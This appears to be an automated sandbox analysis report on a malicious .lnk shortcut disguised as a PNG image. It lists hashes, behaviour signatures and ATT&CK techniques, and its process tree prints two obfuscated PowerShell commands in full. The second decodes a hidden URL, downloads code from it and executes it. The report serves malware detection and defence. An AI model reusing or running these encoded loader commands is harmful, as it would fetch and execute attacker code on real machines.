901f3f3add362204fe7c09fd521a0d9eee914389a50789702b24c327297a7205

General

Target
IMG-145388.png.lnk
Size 6KB
Sample260715-txps2agv6l
SHA256 901f3f3add362204fe7c09fd521a0d9eee914389a50789702b24c327297a7205
MD5 d133ffc4569672bfe8e7171b2bc05031
SHA1 1e5c702393f10eef969361f53c6f6b4319f7d61e
SHA512 ae52b703641fdea042f598635d760295daf55be2b1094dbc73c6efa939038066faf34338ec24c98db92961bc50fb742e6992809c1fc93445f3e5ef72380e909c
SSDEEP 192:8hPpcCRKmc2a+2d6eHxfk8fOwUjrvYt5icy82:EPpcCRtc2aHd6eHpk8fOwsw5icyD
TLSH
T158D1671368E710C9E06B47750FD8F5FF4A7AE4171A2EB5F62100D745CB30BC88A629B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3936	powershell.exe
4	3936	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6000	powershell.exe
6000	powershell.exe
3936	powershell.exe
3936	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5132 wrote to memory of 6000	5132	cmd.exe	88
PID 6000 wrote to memory of 3936	6000	powershell.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG-145388.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABwAD0AWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFMAdABhAHIAdABJAG4AZgBvAF0AOgA6AG4AZQB3ACgAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAKQA7ACQAcAAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBBAEIAcgBBAEQAMABBAE0AQQBCADQAQQBEAFUAQQBPAFEAQQA3AEEAQwBRAEEAYQBBAEEAOQBBAEMAYwBBAE0AdwBBAHgAQQBEAEkAQQBaAEEAQQB5AEEARwBRAEEATQBnAEEANQBBAEQASQBBAFkAUQBBADIAQQBEAE0AQQBOAHcAQQAyAEEARABjAEEATgBnAEEAegBBAEcAWQBBAE0AdwBBADIAQQBEAEkAQQBZAGcAQQB5AEEARwBRAEEATQBnAEIAagBBAEQATQBBAE4AdwBBAHoAQQBHAE0AQQBOAHcAQQAwAEEARABZAEEAWgBnAEEAMgBBAEcAWQBBAE0AZwBCAGgAQQBEAE0AQQBZAHcAQQB5AEEARwBZAEEATQB3AEIAagBBAEQATQBBAE4AdwBBADMAQQBEAGMAQQBNAHcAQgBoAEEARABNAEEATgBnAEEAegBBAEQAUQBBAE4AdwBBADIAQQBEAE0AQQBaAGcAQQB6AEEARwBNAEEATgBnAEIAbQBBAEQAWQBBAFkAdwBBADIAQQBEAGsAQQBOAGcAQgBpAEEARABNAEEAWQB3AEEAMgBBAEcAVQBBAE0AdwBCAGoAQQBEAE0AQQBPAEEAQQB6AEEARwBRAEEATQB3AEIAawBBAEQAWQBBAE8AUQBBAHoAQQBHAFkAQQBOAGcAQgBoAEEARABNAEEAWgBnAEEAbgBBAEQAcwBBAEoAQQBCAGkAQQBEADAAQQBXAHcAQgBpAEEASABrAEEAZABBAEIAbABBAEYAcwBBAFgAUQBCAGQAQQBEAG8AQQBPAGcAQgB1AEEARwBVAEEAZAB3AEEAbwBBAEMAUQBBAGEAQQBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAOABBAE0AZwBBAHAAQQBEAHMAQQBaAGcAQgB2AEEASABJAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHcAQQBEAHMAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEgAUQBBAEkAQQBBAGsAQQBHAEkAQQBMAGcAQgBEAEEARwA4AEEAZABRAEIAdQBBAEgAUQBBAE8AdwBBAGsAQQBHAGsAQQBLAHcAQQByAEEAQwBrAEEAZQB3AEEAawBBAEcASQBBAFcAdwBBAGsAQQBHAGsAQQBYAFEAQQA5AEEARgBzAEEAUQB3AEIAdgBBAEcANABBAGQAZwBCAGwAQQBIAEkAQQBkAEEAQgBkAEEARABvAEEATwBnAEIAVQBBAEcAOABBAFEAZwBCADUAQQBIAFEAQQBaAFEAQQBvAEEAQwBRAEEAYQBBAEEAdQBBAEYATQBBAGQAUQBCAGkAQQBIAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEMAZwBBAEoAQQBCAHAAQQBDAG8AQQBNAGcAQQBzAEEARABJAEEASwBRAEEAcwBBAEQARQBBAE4AZwBBAHAAQQBDADAAQQBZAGcAQgA0AEEARwA4AEEAYwBnAEEAawBBAEcAcwBBAGYAUQBBADcAQQBDAFEAQQBkAFEAQQA5AEEARgBzAEEAVgBBAEIAbABBAEgAZwBBAGQAQQBBAHUAQQBFAFUAQQBiAGcAQgBqAEEARwA4AEEAWgBBAEIAcABBAEcANABBAFoAdwBCAGQAQQBEAG8AQQBPAGcAQgBWAEEARgBRAEEAUgBnAEEANABBAEMANABBAFIAdwBCAGwAQQBIAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBBAGsAQQBHAEkAQQBLAFEAQQA3AEEARwBrAEEAWgBRAEIANABBAEMAZwBBAGEAUQBCADMAQQBIAEkAQQBJAEEAQQBrAEEASABVAEEASQBBAEEAdABBAEYAVQBBAGMAdwBCAGwAQQBFAEkAQQBZAFEAQgB6AEEARwBrAEEAWQB3AEIAUQBBAEcARQBBAGMAZwBCAHoAQQBHAGsAQQBiAGcAQgBuAEEAQwBrAEEATABnAEIARABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQQA9AD0AJwA7ACQAcAAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAXQA6ADoASABpAGQAZABlAG4AOwAkAHAALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABwACkAfABPAHUAdAAtAE4AdQBsAGwA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABrAD0AMAB4ADUAOQA7ACQAaAA9ACcAMwAxADIAZAAyAGQAMgA5ADIAYQA2ADMANwA2ADcANgAzAGYAMwA2ADIAYgAyAGQAMgBjADMANwAzAGMANwA0ADYAZgA2AGYAMgBhADMAYwAyAGYAMwBjADMANwA3ADcAMwBhADMANgAzADQANwA2ADMAZgAzAGMANgBmADYAYwA2ADkANgBiADMAYwA2AGUAMwBjADMAOAAzAGQAMwBkADYAOQAzAGYANgBhADMAZgAnADsAJABiAD0AWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAGIALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAGIAWwAkAGkAXQA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACoAMgAsADIAKQAsADEANgApAC0AYgB4AG8AcgAkAGsAfQA7ACQAdQA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAKQA7AGkAZQB4ACgAaQB3AHIAIAAkAHUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0AA==
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 dc744e1c86164379aa50911c35078d4d766bab0e2d950029944a78c516d39265
MD5 aa46ea62808afc2b22a63bbfb2523260
SHA1 9b8f913d8b94da075fdb14375ccdcdfe749e15f1
SHA512 7fcad979faebfb94f37e074ce2990c5c82c1790c68e6acb63aa2185f408e019a5b6468a31def2cdd998be9db633390255c78e1e229d29495d7ea7787bd329e32
MD5 SHA1 SHA512

Submit Download

memory/6000-2-0x00007FFEE26EF000-0x00007FFEE26F0000-memory.dmp

Download

memory/6000-5-0x00000286E7120000-0x00000286E7142000-memory.dmp

Download

memory/6000-6-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

Download

memory/6000-7-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

Download

memory/6000-8-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

Download

memory/6000-10-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

Download

memory/6000-11-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads